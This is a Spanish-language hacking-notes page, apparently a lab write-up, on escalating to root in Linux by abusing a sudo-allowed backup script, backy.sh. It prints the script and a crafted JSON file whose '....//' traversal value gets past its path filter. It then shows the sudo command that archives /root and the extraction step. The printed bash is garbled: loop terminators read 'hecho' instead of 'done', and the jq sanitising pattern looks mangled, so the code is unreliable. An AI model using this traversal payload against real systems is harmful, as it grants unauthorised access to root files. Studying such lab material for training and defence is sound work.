> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/sudoers/sudo-backy.sh-script-linux-privilege-escalation.md).

# Sudo script backy.sh - escalada de privilegios en Linux

## Qué es

La escalada de privilegios en sudoers comienza con los comandos que un usuario puede ejecutar mediante `sudo`. Los binarios mal configurados, los argumentos de scripts inseguros, el manejo de enlaces simbólicos y las versiones vulnerables de sudo pueden convertir permisos limitados de sudo en una shell de root. Esta página en particular se centra en **Sudo - backy.sh (script)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
sudo -l
sudo --version
```

## Ejemplos

Aprendemos que `martin` puede ejecutar `/usr/bin/backy.sh` como root.

```bash
sudo -l
```

<figure><img src="/files/17ce6bb65ca396625472ca9fee659164d36fbb3e" alt=""><figcaption></figcaption></figure>

**El script comprueba:**

* Que el archivo JSON dado existe,
* Que cada ruta en `directories_to_archive` está bajo `/var/` o `/home/`,
* Elimina `../` secuencias mediante `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Uso: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: Archivo '$json_file' no encontrado."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    hecho
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir no está permitido. Solo se permiten directorios bajo /var/ y /home/."
        exit 1
    fi
hecho

/usr/bin/backy "$json_file"
```

**Evasión:**

Un `pwned.json` el archivo está configurado:

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

Implementación:

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="/files/7d126c79eb9bce5e2a22142f0b8b857bd7cc8c70" alt=""><figcaption></figcaption></figure>

Descompresión:

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```


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